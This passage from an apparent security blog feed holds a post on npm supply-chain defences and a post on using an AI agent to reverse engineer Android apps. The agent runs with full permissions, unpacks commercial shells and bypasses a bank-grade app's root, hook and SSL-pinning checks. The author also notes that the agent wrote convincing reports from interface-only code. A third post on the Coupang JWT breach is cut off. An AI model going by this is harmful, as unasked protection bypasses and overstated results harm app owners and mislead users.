href="https://docs.npmjs.com/cli/v11/using-npm/config#allow-git">allow-git</a> and <a href="https://docs.npmjs.com/cli/v11/using-npm/config#allow-git">allow-remote</a>, after version <code>v11.10.0</code>, which can be set to <code>none</code>, <code>root</code>, or <code>all</code>.</p><p>Currently, the default is <code>all</code>, which behaves the same as before, allowing both git and direct URLs. If both are set to <code>root</code>, it will behave like pnpm, allowing only the first-level packages to be from a URL or git.</p><p>According to npm’s <a href="https://github.blog/changelog/2026-02-18-npm-bulk-trusted-publishing-config-and-script-security-now-generally-available/">announcement</a> from February, starting from the next major version v12, <code>allow-git</code> will default to <code>none</code>, disallowing all installations.</p><p>This announcement even mentioned the behavior reported earlier by koi:</p><blockquote><p>Git dependencies—direct or transitive—can include .npmrc files that override the git executable path. This enables arbitrary code execution during install even when using –ignore-scripts. The new –allow-git flag gives you explicit control over this behavior.</p></blockquote><p>Initially, they said this was not a vulnerability and closed the report, but later, in some sense, they still fixed it, as the next major version will not allow git, perhaps not considering this behavior severe enough to be treated as an immediate vulnerability.</p><h2><span id="sincerely-recommending-pnpm-and-my-npm-settings">Sincerely recommending pnpm and my npm settings</span></h2><p>While researching these supply chain attack methods in the JavaScript ecosystem, I can clearly feel that pnpm is more thoughtfully designed, and it blocks what needs to be blocked by default.</p><p>For example, you can directly find a document on <a href="https://pnpm.io/supply-chain-security#block-risky-postinstall-scripts">Mitigating supply chain attacks</a>, which clearly explains the current attack surface and defense methods, essentially covering the few points we mentioned earlier:</p><ol><li>Prevent postinstall scripts  </li><li>Prevent exotic transitive dependencies  </li><li>Delay package updates  </li><li>Use lockfile</li></ol><p>There is also a <code>trustPolicy</code> that hasn’t been mentioned earlier, which is mainly related to releases. If the “trustworthiness” of a release decreases, it will be blocked first, mainly related to the method used during the release and provenance. I haven’t had time to study it, so I won’t discuss it further for now.  </p><p>The defensive measures mentioned above have been automatically handled for you since pnpm v11:  </p><ol><li><code>postinstall</code> and other scripts are disabled by default (this was available earlier, since v10)  </li><li><code>minimumReleaseAge</code> is set to 1 day by default  </li><li><code>blockExoticSubdeps</code> is enabled by default</li></ol><p>For npm, you need to set it up yourself. My current settings are:  </p><pre><code class="ini">ignore-scripts=truemin-release-age=3allow-git=noneallow-remote=none</code></pre><p>If needed, you can adjust it yourself, for example, if you need to use git, you can set <code>allow-git=root</code> and so on.   </p><h2><span id="summary">Summary</span></h2><p>When using a computer in general, everyone knows not to casually download and install software from unknown sources. However, at the same time, some people casually install VSCode extensions, open-source projects from GitHub, or packages used during development, ignoring that these can also cause problems.  </p><p>Developers are often high-value targets, and many developers have various cloud service keys directly on their computers, which could even be production keys. There are also risks when installing packages in CI, where there are usually more high-value tokens that can be stolen. Many attacks start by hacking into a certain package and then using that package to hack into more packages and companies, continuously expanding the scope of the impact.  </p><p>Recently, there have been many supply chain attacks, with one occurring every week or two, and they are quite large in scale. Furthermore, previous supply chain attacks might have targeted a small package, but recent attacks have directly hacked into larger ones (like axios and TanStack, which were directly hacked), rather than starting from those very small sub-packages.  </p><p>I recommend that everyone set up everything that needs to be configured. If using npm, it is:  </p><pre><code class="ini">ignore-scripts=truemin-release-age=3allow-git=noneallow-remote=none</code></pre><p>If using pnpm, just update to the latest version and that’s all. </p><p>If you want to be even safer, you can use the previously mentioned <a href="https://socket.dev/features/firewall">sfw</a> to add an extra layer of protection.  </p><p>Although risks cannot be avoided 100%, at least we can try to minimize them. For even greater safety, you can install packages or even develop entirely within a <a href="https://code.visualstudio.com/docs/devcontainers/containers">dev container</a>, which allows you to control what the environment can access from a lower level, embodying a sandbox concept, but this comes at a higher cost.  </p><p>In summary, I believe it is essential to configure npm properly or switch to pnpm.</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;On May 19, 2026, the charting library antv was attacked, and the latest version was embedded with malicious code.&lt;/p&gt;
&lt;p&gt;On May 13, the popular TanStack series repo in the frontend community was also attacked.&lt;/p&gt;
&lt;p&gt;On April 1, axios, which has a hundred million downloads weekly, was similarly attacked, and a malicious version was released.&lt;/p&gt;
&lt;p&gt;It seems that news about supply chain attacks appears every month or even every week, and the targets are not limited to npm; Python’s PyPI, .NET’s NuGet, and even Docker Hub or VSCode extensions used by developers are all targets.&lt;/p&gt;
&lt;p&gt;In this context, how should developers protect themselves?&lt;/p&gt;
&lt;p&gt;This article mainly discusses supply chain attacks targeting npm, starting with the principles, followed by attack techniques and defense strategies.&lt;/p&gt;</summary>
    
    
    
    <category term="Security" scheme="https://blog.huli.tw/categories/Security/"/>
    
    
    <category term="Security" scheme="https://blog.huli.tw/tags/Security/"/>
    
  </entry>
  
  
  
  <entry>
    <title>Reunderstanding the Power of AI Through Reverse Engineering</title>
    <link href="https://blog.huli.tw/2026/04/18/en/ai-reverse-engineering-op/"/>
    <id>https://blog.huli.tw/2026/04/18/en/ai-reverse-engineering-op/</id>
    <published>2026-04-18T02:46:30.000Z</published>
    <updated>2026-04-18T12:22:56.016Z</updated>
    
    <content type="html"><![CDATA[<p>Previously, I wrote a post titled <a href="https://blog.huli.tw/2026/03/01/en/reverse-engineering-with-ai-ghidra-mcp/">Using AI to Do Simple Reverse Engineering</a>, describing how I combined an AI agent with Ghidra MCP to reverse engineer a stripped Golang binary. Although there were some minor errors in the results, the overall direction was correct.</p><p>Nearly two months have passed, and during this time, I used AI to reverse engineer more things, including many that I thought AI couldn’t handle. However, AI slapped me in the face, revealing that I was the ignorant one.</p><p>This article documents what AI can achieve and concludes with how this experience has changed my perspective on AI.</p><span id="more"></span><h2><span id="selected-cases">Selected Cases</span></h2><p>The following cases are all Android applications unless otherwise specified.</p><h3><span id="case-1-cocos2d-game">Case 1: Cocos2d Game</span></h3><p>After AI unpacked the APK, it used jadx to decompile the Java and found that the game logic was not included.</p><p>Upon observation, it was discovered that the game was written in Cocos2d, with a large number of encrypted JavaScript and JSON files under the assets directory, as well as a <code>libcocos2djs.so</code>.</p><p>The next step was to parse the symbols within <code>libcocos2djs.so</code>, where some encryption and decryption functions were indeed found. However, since this SO file was 35 MB, AI deemed it too large and chose to reverse engineer from the decryption functions instead, identifying that the encryption algorithm was Blowfish.</p><p>Next, I traced who called the function that set the key, and after decompiling that segment, I restored the key, which was constructed in the original code by concatenating strings one by one:</p><pre class="line-numbers language-c" data-language="c"><code class="language-c">std<span class="token operator">::</span>string key<span class="token punctuation">;</span>key<span class="token punctuation">.</span><span class="token function">push_back</span><span class="token punctuation">(</span><span class="token char">'7'</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token comment">// MOV W8, 0x37</span>key<span class="token punctuation">.</span><span class="token function">push_back</span><span class="token punctuation">(</span><span class="token char">'2'</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token comment">// MOV W8, 0x32</span>key<span class="token punctuation">.</span><span class="token function">push_back</span><span class="token punctuation">(</span><span class="token char">'c'</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token comment">// MOV W8, 0x63</span>key<span class="token punctuation">.</span><span class="token function">push_back</span><span class="token punctuation">(</span><span class="token char">'d'</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token comment">// MOV W8, 0x64</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span><span class="token punctuation">.</span>（<span class="token number">32</span> in total）<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>This is particularly noteworthy because before attempting this method, AI first scanned the code to see if there were any strings resembling the key, but found none. By this point, AI understood that since the key was added one by one, it was not continuous in the code and could not be directly scanned.</p><p>Then, I wrote a Python script to decrypt all resources, ultimately obtaining the JavaScript and restoring the game logic and client-side configuration.</p><p>This case primarily involved pure static analysis, where AI used static analysis alone to find the encryption and decryption functions as well as the key-setting location, then decompiled back to derive the key’s content and decrypted the game resources.</p><h3><span id="case-2-another-cocos2d-game">Case 2: Another Cocos2d Game</span></h3><p>Similarly, after unpacking and using jadx, it was found that the DEX had a shell added. However, this game was also observed to be Cocos2d, so the DEX was set aside for now, and AI first looked at <code>libcocos2djs.so</code>, where a suspicious key was found.</p><p>However, since this key could not decrypt the encrypted JSC, AI took a different approach and used Unicorn Engine to simulate the execution of this SO, but there was no progress, as it got stuck after running for a while.</p><p>Since static analysis did not yield results, AI switched to dynamic analysis, installing an Android emulator and Frida to hook multiple parameters. Both <code>Memory.scanSync</code> and <code>fopen</code> failed, and later AI looked for the functions exported by <code>libcocos2djs.so</code>, discovering that <code>xxtea_decrypt</code> was public, so AI hooked <code>xxtea_decrypt</code>.</p><p>After running the game, AI obtained the correct key and restored the encrypted JSC files, which also contained the game logic and configuration.</p><p>After reaching this point, since the game had already been restored, AI stopped. I wanted to continue testing its capabilities, so I said to it, “Why don’t you try to unpack that shell?” As a result, the protection of that shell was quite weak, and after running it, frida-dexdump quickly dumped all the DEX.</p><p>This case switched from static analysis to dynamic analysis with hooking, and also conveniently unpacked a shell (although the shell was quite weak).</p><h3><span id="case-3-unity-game">Case 3: Unity Game</span></h3><p>After unpacking the APK, there were three SO files: libil2cpp, libunity, and libxlua. It was speculated that the core logic was at the Lua layer. AI then used Il2CppDumper to unpack the global-metadata, extracting some C# files and DLLs. After decompiling with ILSpy, it was found that they were all classes with empty implementations (seemingly how IL2CPP works?).</p><p>Using jadx to decompile Java also yielded some SDKs, with no game logic, so AI focused on finding the Lua files.</p><p>Using UnityPy to scan all asset bundles for TextAssets, AI only found four Lua scripts, none of which contained the core game logic. From the C# code AI obtained earlier, AI found some strings indicating that the game had a hot update system. AI attempted to download using the URLs and AES key and IV found within, but all returned 404 errors and could not be downloaded.</p><p>Later, AI turned back to the asset bundle and found a bundle containing 3000 TextAssets (which AI didn’t check the first time). From the file names, AI confirmed they were encrypted Lua scripts.</p><p>Upon observation, AI noticed that many of these files had the same first 6 bytes, speculating that they were the beginning of Lua 5.3 compiled bytecode. AI attempted to reverse-engineer the key using XOR but found it impossible to decrypt. Then AI tried several different encryption methods, various AES modes, but still couldn’t decrypt it.</p><p>Next, AI decompiled libil2cpp and saw that the decryption process indeed used XOR, and the key was a 6-byte sequence that repeated. In C#, AI couldn’t find it using a static method with global-metadata, and AI hit a roadblock, so I intervened.</p><p>I asked him, “Would dynamic analysis be faster?”</p><p>The AI provided two options: one was Frida hook, and the other was Unicorn simulation. I chose the latter, and during the script writing, the AI cleverly cracked it using a different method. It said it observed those files and found that the first 54 bytes of half of them were identical, and they were a repeating sequence of 6 bytes: <code>c3 70 43 22 34 a6</code>.</p><p>If the key is a 6-byte repeating XOR, then the repetition in the ciphertext indicates that the plaintext is also repeated. What Lua file would have so many identical characters at the beginning?</p><p>The AI boldly guessed: “Comments.” Lua comments start with <code>--</code>, and many frameworks have a habit of placing a long comment starting with <code>-----</code> as a separator. Based on this assumption, it XORed to obtain the key, then decrypted the Lua scripts, discovering that everything was unlocked, revealing readable source code.</p><p>The key to this case is that the AI is observant and employs various methods to attempt decryption. Below is the process the AI followed while solving this case, showing that it tried many methods in between but none worked, so it moved on to the next method:</p><pre class="line-numbers language-none"><code class="language-none">XAPK unpack  ↓Il2CppDumper + ILSpy + JADX  ← standard workflow, nothing unusual  ↓UnityPy scan → only 4 tool scripts found  ← assumed core logic is server-side  ↓Locate AppConfig → obtained CDN URL and AES key  ↓Attempt download → all 404  ← dead end  ↓Re-examine AssetBundle → found encrypted files!  ↓Inspect ciphertext → noticed repeating 6-byte pattern  ↓❌ Wrong assumption: Lua bytecode → derived incorrect keystream  ↓❌ Tried AES-CBC&#x2F;ECB&#x2F;OFB&#x2F;CTR&#x2F;CFB → none matched❌ Tried RC4 → no match❌ Tried .NET Random (10K seeds) → no match  ↓Reverse engineered libil2cpp.so → confirmed it&#39;s simple repeating XOR (not a stream cipher)  ↓❌ Tried statically finding ENCRYPT_BYTES → failed❌ Tried metadata defaultValues → failed❌ Tried ELF GOT&#x2F;RELA → too deep  ↓Revisited ciphertext patterns → 1500 files share a 62-byte prefix  ↓💡 Hypothesis: plaintext is repeated &#39;-&#39; (0x2d) → XOR to recover key → decryption succeeded!<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><h3><span id="case-four-another-unity-game">Case Four: Another Unity Game</span></h3><p>Similar to the previous one, it was also discovered to be Unity + Lua, but this time the decryption method was simpler. After dumping the C#, AI searched using “encrypt” as a keyword and directly found the LuaEncryption key and the custom asset bundle offset, needing to skip the first 12 bytes.</p><p>Next, AI skipped 12 bytes and used the key to XOR, obtaining the Lua bytecode (this time it was bytecode, not source code), which was then concatenated into a large asset.</p><p>Next, the AI wrote a Python script:</p><ol><li>Skip the first 12 bytes of the custom header</li><li>Scan all positions marked with <code>UnityFS\x00</code></li><li>Cut into independent bundles by offset</li><li>Parse each bundle using UnityPy</li><li>Extract all <code>.lua.bytes</code> files</li><li>Decrypt each file using the key with XOR</li></ol><p>This resulted in over 7000 Lua JIT bytecodes, which were then all fed into ljd to recover, yielding much more readable Lua source code, totaling 10 million lines.</p><p>This case is similar to the first one; static analysis handled everything, directly finding the encryption key and method, recovering all resources.</p><h3><span id="case-five-obfuscated-app">Case Five: Obfuscated App</span></h3><p>This is a common app that has undergone some protection. The Java layer has been obfuscated to make it difficult to reverse, and the encryption and decryption logic is placed in the so files, accessed via JNI. When sending requests, it goes through some encryption plus a signature; if the algorithm cannot be cracked, it cannot be used outside the app.</p><p>The AI discovered that after obfuscation, it wrote a de-obfuscation script that restored several core class names, then began to reverse-engineer that section of the so file, using capstone + lief to disassemble the arm64-v8a version, restoring it to pseudo-C.</p><p>With this code, further analysis was possible, ultimately restoring the encryption and decryption algorithms along with the key.</p><p>So, despite the obfuscation, the AI could derive some methods to attempt restoration through observation. Even if it couldn’t restore everything, the AI’s ability to read obfuscated code is far superior to that of a human.</p><h3><span id="case-six-bank-level-app">Case Six: Bank-Level App</span></h3><p>After trying the above cases, I decided to challenge the boss: a bank-level app.</p><p>Banks usually have stricter requirements for information security, so there will definitely be a lot of encryption, obfuscation, and packing, along with various anti-root and anti-hook mechanisms. Therefore, “bank-level” refers to similar specifications.</p><p>The goal is clear: to be able to open the app on a rooted emulator and hook to see the request content. Achieving this means that the internal protection mechanisms have been bypassed.</p><p>This bank-level app is packaged with what is commonly known as a commercial shell (meaning a shell specifically made by a certain company; these commercial solutions can be quite expensive, costing hundreds of thousands of TWD per year), with the main logic contained in a so file.</p><p>The AI first used <code>objdump -h</code> to check the section headers and found two non-standard sections. Then, more than half of the <code>.text</code> section was encrypted and could not be disassembled, and the <code>.rodata</code> section was also completely encrypted. However, from other clues, it had already inferred which company’s shell it was.</p><p>Next, the AI began trying to remove the shell of the so file, experimenting with several methods that all failed, such as attempting to brute-force the key.</p><p>After several failed attempts, it started to solve some areas that could be resolved. After trying a few methods, it understood how the shell operated and successfully removed it.</p><p>Once the shell was removed, it could see what was inside and the protective measures in place. At the native layer, there were these protections:</p><ul><li>Anti-injection detection: Scanning <code>/proc/self/maps</code> for memory mappings like <code>frida-agent</code>, <code>frida-gadget</code>, etc.</li><li>Thread name scanning: Reading <code>/proc/self/task/*/comm</code> to find Frida characteristic threads like <code>pool-frida</code>.</li><li>Anti-debug: <code>ptrace(PTRACE_TRACEME)</code> self-attach to prevent debuggers.</li><li>String matching: Searching for Frida keywords in memory using functions like <code>strstr</code>, <code>strncmp</code>, etc.</li><li>SO shell: The <code>.text</code> segment is encrypted, dynamically decrypted at runtime, making static analysis impossible.</li></ul><p>At the Java layer, there were these:</p><ul><li>Root detection: <code>File.exists()</code> checks for paths like su, magisk, supersu, etc.</li><li>Emulator detection.</li><li>SystemProperties detection.</li><li>Anti-debug.</li><li>SSL Pinning.</li></ul><p>The bypass method was to hook various methods in advance, making them undetectable, and then the native layer would pass the results to Java, where patching could also be done. Since it was already aware of the detection methods, it could handle them accordingly.</p><p>As for the obfuscation at the Java layer, the AI wrote a 1000-line Python script based on various rules to restore the strings, resulting in highly readable strings.</p><p>In summary, it was successful in the end; the app could be opened, and requests could be hooked, with all protective measures bypassed.</p><h3><span id="case-seven-a-packaged-game">Case Seven: A Packaged Game</span></h3><p>Since learning that AI could also remove shells, I thought perhaps there was nothing that AI couldn’t crack, so I looked for another packaged game.</p><p>This game’s difficulty was higher than the previous one; it also used a commercial shell and implemented double encryption. Its dex was first encrypted with one so file, and then that so file was encrypted with another so file, while the entry point’s so file itself was also shelled, preventing decryption.</p><p>I let the AI try for a day, but in the end, it didn’t yield any results. Even though I found other articles online that had already removed the shell, it still couldn’t fully crack it; the shell of the so file remained intact, and it encountered some obstacles.</p><p>However, after I directed the AI to change its approach, it discovered that the main logic of this Unity game was actually in Lua. Although the resources in Lua were encrypted, after observing the encrypted hex, it quickly identified the pattern and managed to decrypt it.</p><p>So, although the Java layer’s code wasn’t fully decrypted and the shell wasn’t removed, the core game logic was obtained.</p><p>This should count as a success, right? Given more time, more reference materials, and better tools, I believe it could also remove that shell.</p><h2><span id="my-ai-usage-and-costs">My AI Usage and Costs</span></h2><p>I used Cursor paired with Claude Opus 4.6 high thinking, without installing any skills, and the prompt was very simple:</p><blockquote><p>There is an apk under the xxx folder, reverse it to restore it to the original code.</p></blockquote><p>If it got stuck on something midway, I would give it some instructions, for example, when encountering a shelled file:</p><blockquote><p>How did it achieve static analysis resistance? What kind of encryption method is used, and when will it be decrypted? Try to see if you can remove the shell.</p></blockquote><p>Sometimes, I would give more specific instructions:</p><blockquote><p>Let’s plan what to do next; I’m going to sleep soon.</p><ol><li>Restore the .so to C.</li><li>Check what other protections the apk has and how to crack them.</li><li>Restore the Java from the obfuscated code; at least understand the logic or observe which patterns indicate it’s Android’s own lib.</li></ol><p>These are the main tasks. I want you to have a thorough understanding of the protection methods of this apk, as if you have the source code, and come up with a cracking method.</p></blockquote><p>I granted it all permissions, and it installed all the tools itself. It usually starts with static analysis, and when it gets stuck for a long time, I switch it to dynamic analysis, installing an Android emulator with Frida hook.</p><p>I observe what the AI is doing, and if I feel it’s straying too far from the direction, I intervene and give suggestions (though this happens rarely). After the AI finishes, I ask it to summarize what it did, where it got stuck, and how it resolved those issues.</p><p>After reversing many apps, I summarize these experiences into skills, allowing for faster speeds next time.</p><p>The time taken to reverse each app varies, but most are around 30 minutes. I haven’t calculated the tokens in detail, but under Cursor’s billing, reversing an app costs less than 5 dollars.</p><p>However, I also tried using Claude Code once, and one Unity game took 40 million tokens, which translates to about 27 dollars.</p><p>Therefore, a more fair statement would be that, purely based on token usage, I guess the average falls around 30 dollars. As for why using Cursor is so cheap, I don’t know; it’s clearly the same model.</p><h2><span id="the-limitations-of-ai">The Limitations of AI</span></h2><p>Although it is said that everything that can be solved has been solved, some things are only perceived to be solved, but in reality, they are not done well at all.</p><p>For example, after decompiling a game’s APK, it usually uses some tools to extract DLL files and then restore them to C#. Typically, my instruction is to “restore the source code,” but sometimes it only restores to the interface, with only method definitions and parameters, lacking the implementation logic.</p><p>Next comes the part where AI can easily deceive you. Even if it only has the interface, it can guess the operational logic based on these names and structures, so if you ask it to write a report analyzing what is present, it can write convincingly.</p><p>If you don’t follow up on the details, you might think it has truly restored the source code, but that’s not the case.</p><p>This is a place that requires great caution. I always follow up with it, asking, “So, did you get the source code? Let’s take a look at the implementation of the login system; we need to see the implementation for it to count,” forcing it to dig deeper and restore what I want.</p><p>This confirmation process is very important; without this step, it becomes incomplete, and you can be deceived by AI. Conversely, if you confirm properly, the output from AI will definitely satisfy you.</p><h2><span id="some-insights">Some Insights</span></h2><h3><span id="it-turns-out-i-limited-ai">It Turns Out I Limited AI</span></h3><p>My previous understanding of AI was: “Reversing some small things is definitely no problem, but it probably can’t unpack,” but later AI proved me wrong.</p><p>That’s when I realized I was the limiter of AI.</p><p>I hadn’t tried it myself, but I thought AI couldn’t do it. In the past, during software development, I had similar thoughts; some tasks I did myself because I felt AI couldn’t handle them. For example, needing to modify multiple projects simultaneously, or a larger feature that required a deep understanding of the overall architecture, I would think AI couldn’t do it, so I might as well do it myself.</p><p>But later, as I started delegating more and more tasks to AI, I found that it could handle most of them, reaffirming that I was the limiter of AI. No wonder some people say that in certain fields, those who don’t understand use AI better because they don’t assume AI can’t do something and let it try everything; if it can’t do it, then they address it.</p><p>Returning to the topic of AI reversing, I observed the processes of AI reversing so many apps and found that, at its core, they are all the same: making various attempts and observing the output, then improving based on the output or trying a different approach.</p><p>For example, once Frida hooks are set up, if the hook fails, it will modify based on the error log. If the app closes itself after the hook, it will change the timing of the hook or test which part is being detected, then make adjustments.</p><p>Perhaps, as long as you can provide AI with an environment where it can thrive, ensure it can see enough logs and validate correctness, and give it enough time, there is nothing that cannot be reversed. I later also tried desktop apps and wasm, and they worked too.</p><p>Even if it’s packed, as long as you let AI observe and track, just like the human reversing process, it can slowly observe, take action, adjust based on results, and then try again, repeatedly, until it succeeds.</p><p>Although I already knew AI was strong, I didn’t expect it to be this powerful. As I mentioned before in <a href="https://blog.huli.tw/2023/04/27/en/android-apk-decompile-intro-1/">a previous post</a>, I have a bit of knowledge about reverse engineering, but when it comes to the native layer, I am completely lost, while AI has surpassed my capabilities, accomplishing things I couldn’t do, even things I thought it couldn’t do.</p><p>After this exploration, my perspective on AI’s capabilities has completely changed, and I have given more thought to the idea of “AI replacing software engineers.” If what I said earlier, “there is nothing that cannot be reversed,” is true, can this also be applied to software development? If AI can plan, write code, test, and validate results on its own, could it continuously run and produce a complete application with good quality?</p><p>Let’s save this topic for later; there are other angles we can explore together.</p><h3><span id="the-balance-of-offense-and-defense">The Balance of Offense and Defense</span></h3><p>As long as it is something on the client side, there are no secrets.</p><p>Obfuscation or packing is just a way to delay the time it takes to be reversed; as long as enough time is spent, all your code runs on the client, so everything can be reversed.</p><p>Therefore, many defensive techniques are based on “increasing difficulty to prolong cracking time.” We all know there are no secrets on the client, but there are still some things on the client side that we want to protect as much as possible to increase the difficulty of reversing.</p><p>Thus, the defending side obfuscates the code, turning variables into a bunch of unreadable text, or even encrypting constants that can only be decrypted when executed, not wanting you to see the plaintext so easily. Packing is the same; they don’t want you to easily see what is running inside, and anti-debugging is also aimed at preventing you from rooting, hooking, or debugging, so they try to detect whether various reverse engineering tools exist.</p><p>On the other hand, the attacking side spends time reversing your original logic, relying on experience to speed up, knowing that this pattern looks like AES, this looks like XOR, this pattern has appeared before, and figuring out how to crack it, etc. As long as the defending side makes even a slight adjustment, the final output could be completely different, and the attacking side would need to start over.</p><p>However, with AI reversing becoming so powerful, will the positions start to reverse? The shell that the attacking side spent so much time creating could be removed by AI in just an hour. After thinking of so many obfuscation methods and implementing a new algorithm, AI could just look at it and write a reverse script, reassembling everything back together.</p><p>If the defenders want to keep up, they may need to use magic against magic, using AI to obfuscate. Each time they obfuscate, they should use a completely new method or pattern, and it’s not just a simple change; it should be made more complex by AI to ensure that the attackers have to start from scratch.</p><p>But even so, in front of AI, will it only take one or two hours to crack it? I don’t know.</p><h2><span id="summary">Summary</span></h2><p>I am not a reverse engineering expert, so I won’t comment much on the impact of AI in this field. But at least for someone like me who is not very skilled in reverse engineering, AI has almost completely met my needs for reverse engineering. Desktop applications can be reversed, APKs can be reversed, WASM can be reversed, shells can be stripped, and encryption can be decrypted.</p><p>For binary reverse engineering, although sometimes I need to assist in opening Ghidra and help set up Ghidra MCP, these are minor issues.</p><p>After this experience and witnessing the capabilities of AI, I have already submitted to AI.</p><p>Is there anything that AI cannot crack? Perhaps there is; for example, the case I mentioned above, Case Seven, has not actually been cracked. It just obtained what I wanted in a different way without fully restoring the APP. But aside from that, it has indeed cracked everything else (by the way, I am curious if AI can crack the <a href="https://www.hybridclr.cn/en/docs/business/basicencryption">commercial shell</a> of HybridCLR, but I haven’t encountered this commercial version yet).</p><p>Is it possible that I make AI reverse engineering sound very powerful, while in the eyes of professionals, it is not that impressive? That is also possible, after all, the things I have dismantled can also be dismantled by the experts in the kanxue (a well-known reverse engineering community in China), and some things have already been dismantled and shared, which AI has referenced.</p><p>But in any case, the original intention of this article is to record my experience with AI reverse engineering, summed up in one word: “amazing”. This experience has completely influenced my view of AI’s capabilities.</p><p>And it’s not “AI-assisted reverse engineering”; it’s full AI reverse engineering. The tool installs itself, analyzes itself, and decompiles itself. I just stand by and say, “You should be able to crack this, try again.”</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;Previously, I wrote a post titled &lt;a href=&quot;https://blog.huli.tw/2026/03/01/en/reverse-engineering-with-ai-ghidra-mcp/&quot;&gt;Using AI to Do Simple Reverse Engineering&lt;/a&gt;, describing how I combined an AI agent with Ghidra MCP to reverse engineer a stripped Golang binary. Although there were some minor errors in the results, the overall direction was correct.&lt;/p&gt;
&lt;p&gt;Nearly two months have passed, and during this time, I used AI to reverse engineer more things, including many that I thought AI couldn’t handle. However, AI slapped me in the face, revealing that I was the ignorant one.&lt;/p&gt;
&lt;p&gt;This article documents what AI can achieve and concludes with how this experience has changed my perspective on AI.&lt;/p&gt;</summary>
    
    
    
    <category term="Security" scheme="https://blog.huli.tw/categories/Security/"/>
    
    
    <category term="Security" scheme="https://blog.huli.tw/tags/Security/"/>
    
  </entry>
  
  
  
  <entry>
    <title>Learn Internal Threats, Key Management, and JWT from the Coupang Data Breach</title>
    <link href="https://blog.huli.tw/2026/03/19/en/coupang-insider-kms-and-jwt/"/>
    <id>https://blog.huli.tw/2026/03/19/en/coupang-insider-kms-and-jwt/</id>
    <published>2026-03-19T02:28:05.000Z</published>
    <updated>2026-03-19T11:36:59.476Z</updated>
    
    <content type="html"><![CDATA[<p>Since November last year, the data breach incident at Coupang has attracted considerable attention, partly due to the reportedly massive amount of leaked data, and partly because the company has a presence in Taiwan. As the investigation progresses, more and more details have emerged, even being described as like a movie plot, with efforts to retrieve hard drives from rivers.</p><p>Recently, I went back to review the reports from Korea and found them quite detailed, so I decided to write an article discussing how this whole incident technically occurred and what security aspects we should pay attention to.</p><span id="more"></span><h2><span id="how-did-they-get-in">How Did They Get In?</span></h2><p>First, let’s briefly summarize the events of the incident to provide a basic context before diving into the finer details.</p><p>Currently, there are two official statements from Taiwan:</p><ol><li><a href="https://tw.coupangcorp.com/archives/5789/">Coupang Taiwan’s Latest Statement on the Recent Cybersecurity Incident in Coupang Korea</a> (Published on 2025-12-25)</li><li><a href="https://tw.coupangcorp.com/archives/5954/">Coupang Taiwan: Update on the Data Breach Announced on November 29, 2025</a> (Published on 2026-02-24)</li></ol><p>However, more details can be found in this official statement available only in English and Korean: <a href="https://www.aboutcoupang.com/English/news/news-details/2025/update-on-coupang-korea-cybersecurity-incident/">Update on Coupang Korea Cybersecurity Incident</a> (Published on 2025-12-29)</p><p>For those interested in more technical details, you will need to refer to the investigation report released by the Ministry of Science and ICT (MSIT) in Korea on February 10, which is extremely detailed: <a href="https://www.msit.go.kr/eng/bbs/view.do;jsessionid=iMyzX8C42zedbf27PtWxq844qjcyYy0VOCt74FEO.AP_msit_2?sCode=eng&mPid=2&mId=4&bbsSeqNo=42&nttSeqNo=1221&utm_source=perplexity">Investigation Results on the Data Breach by a Former Coupang Employee</a>. The technical details cited in this article will also come from this report.</p><p>The incident began on November 16, 2025, when Coupang received an email from the attacker, claiming that a large amount of personal data had been leaked due to a system vulnerability, along with relevant screenshots as proof.</p><p>Coupang immediately launched an investigation and began reviewing logs, discovering that data had indeed been stolen, leading to the news everyone has seen. The incident has now largely come to a close, and the relevant results can be found through official statements and news reports. This article will not discuss the results but will focus solely on the technical details.</p><p>Therefore, the question we are concerned with is: “How did this attacker get in?” Let’s first look at their identity.</p><blockquote><p>The attacker was identified as a former Coupang software developer (Staff Back-end Engineer) who, while employed at Coupang, was responsible for designing and developing user authentication systems for backup in the event of system failures.</p></blockquote><p>The attacker was a former employee and was responsible for developing auth-related systems. The person who sent the email at the beginning is also this individual, but the report and news do not explain why they chose to expose their own attack.</p><p>In a normal login process, after verifying the username and password, the system issues an “electronic access badge” (as stated in the report), and then the server uses a signing key to verify whether this badge is legitimate. While working at Coupang, the attacker directly obtained this signing key, allowing them to locally sign a legitimate badge and log in as anyone.</p><p>This electronic access badge sounds a lot like a JWT token. I tried it myself on Coupang’s Taiwan website and found that the token used for identity verification is indeed a JWT token (CT_AT_TW). When decoded, it looks like this:</p><pre class="line-numbers language-json" data-language="json"><code class="language-json"><span class="token punctuation">&#123;</span>  <span class="token property">"aud"</span><span class="token operator">:</span> <span class="token punctuation">[</span>    <span class="token string">"https://www.tw.coupang.com"</span>  <span class="token punctuation">]</span><span class="token punctuation">,</span>  <span class="token property">"client_id"</span><span class="token operator">:</span> <span class="token string">"4cb7da11-c6d6-4ca3-875f-332cf489d5d"</span><span class="token punctuation">,</span>  <span class="token property">"exp"</span><span class="token operator">:</span> <span class="token number">1773067653</span><span class="token punctuation">,</span>  <span class="token property">"ext"</span><span class="token operator">:</span> <span class="token punctuation">&#123;</span>    <span class="token property">"LSID"</span><span class="token operator">:</span> <span class="token string">"a3788aeb-239c-453d-cd90-72ac345aa431"</span><span class="token punctuation">,</span>    <span class="token property">"fiat"</span><span class="token operator">:</span> <span class="token number">1773064052</span>  <span class="token punctuation">&#125;</span><span class="token punctuation">,</span>  <span class="token property">"iat"</span><span class="token operator">:</span> <span class="token number">1773064052</span><span class="token punctuation">,</span>  <span class="token property">"iss"</span><span class="token operator">:</span> <span class="token string">"https://mauth.tw.coupang.net/"</span><span class="token punctuation">,</span>  <span class="token property">"jti"</span><span class="token operator">:</span> <span class="token string">"043c2c37-c373-4b75-abbc-ad8e646bb490"</span><span class="token punctuation">,</span>  <span class="token property">"nbf"</span><span class="token operator">:</span> <span class="token number">1773064052</span><span class="token punctuation">,</span>  <span class="token property">"scp"</span><span class="token 